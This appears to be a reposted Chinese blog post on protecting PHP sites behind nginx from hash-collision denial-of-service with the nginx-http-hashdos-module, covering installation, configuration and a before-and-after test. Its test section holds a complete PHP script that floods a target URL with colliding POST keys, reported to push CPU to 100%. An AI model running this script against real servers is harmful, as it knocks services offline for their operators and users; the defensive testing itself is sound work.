nginx防hashdos攻击测试

来源:互联网 发布:php微信扫码支付源码 编辑:程序博客网 时间:2024/05/20 20:45

环境:

Red Hat 3.4.6-11

PHP 5.2.13

Nginx 1.4.3

 

nginx-http-hashdos-module下载及安装:

攻击

一般情况下攻击者可以通过一些方法间接构造哈希表来进行攻击。例如PHP会将接收到的HTTP POST请求中的数据构造为$_POST,而这是一个Array,内部就是通过Zend HashTable表示,因此攻击者只要构造一个含有大量碰撞key的post请求,就可以达到攻击的目的。具体做法不再演示。

防护

nginx-http-hashdos-module,通过设置hashdos(默认on)的开关和body_max_count(默认值1000),对nginx后面的服务进行安全防护。

下载

wget --no-check-certificatehttps://github.com/54chen/nginx-http-hashdos-module/zipball/master

mv master nginx_hashdos.zip

unzip nginx_hashdos.zip

编译安装进Nginx

./configure --add-module=path/to/54chen-nginx-http-hashdos-module-f84d909

make && make install

配置注意事项

在http段,增加如下:

hashdos on;

body_max_count 1000;

在各自的location段,要按照业务情况来加:

client_body_buffer_size 2m;

client_max_body_size 2m;

*上述两个值一定要相等。

如果是普通的discuz,上传上限是1m的,可以修改为1m。

如果是没有上传功能的普通网站,建议修改为512k。

 

下面开始测试啦!

hashdos攻击测试代码:

<?php// 目标地址// 只要目标地址存在,不用管它是干嘛的$host ='http://testxx.com:8800/index.php'; $data = '';$size = pow(2, 15);for ($key=0, $max=($size-1)*$size;$key<=$max; $key+=$size){   $data .= '&array[' . $key . ']=0';} $ret = curl($host, ltrim($data,'&'));var_dump($ret); function curl($url, $post, $timeout = 30){   $ch = curl_init();   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);   curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));   curl_setopt($ch, CURLOPT_URL, $url);   curl_setopt($ch, CURLOPT_POST, true);   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);   $output = curl_exec($ch);   if ($output === false) return false;   $info = curl_getinfo($ch);   $http_code = $info['http_code'];   if ($http_code == 404) return false;   curl_close($ch);   return $output;}?>

未安装nginx-http-hashdos-module前,运行攻击脚本,cpu很快到100%。

安装nginx-http-hashdos-module后,cpu没有明显变化。测试端返回http413错误(请求实体太大):


我们来看看nginx的error日志,攻击被拦截了:


原理:

nginx-reqeust-body在接到请求时,根据header中的声明,判断是保存在内存还是在硬盘中,当大小超过两个buf和client_body_buffer_size大小时,会写入临时文件。

防止hashdos的终极目标是filter用户的输入,所以对用户的输入参数数量进行计数。超过1000(body_max_count的默认数量)时,返回一个413给攻击者。


资料参考(转载):http://www.gaojinbo.com/php-hashdos%E6%94%BB%E5%87%BB%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95.html

0 0
原创粉丝点击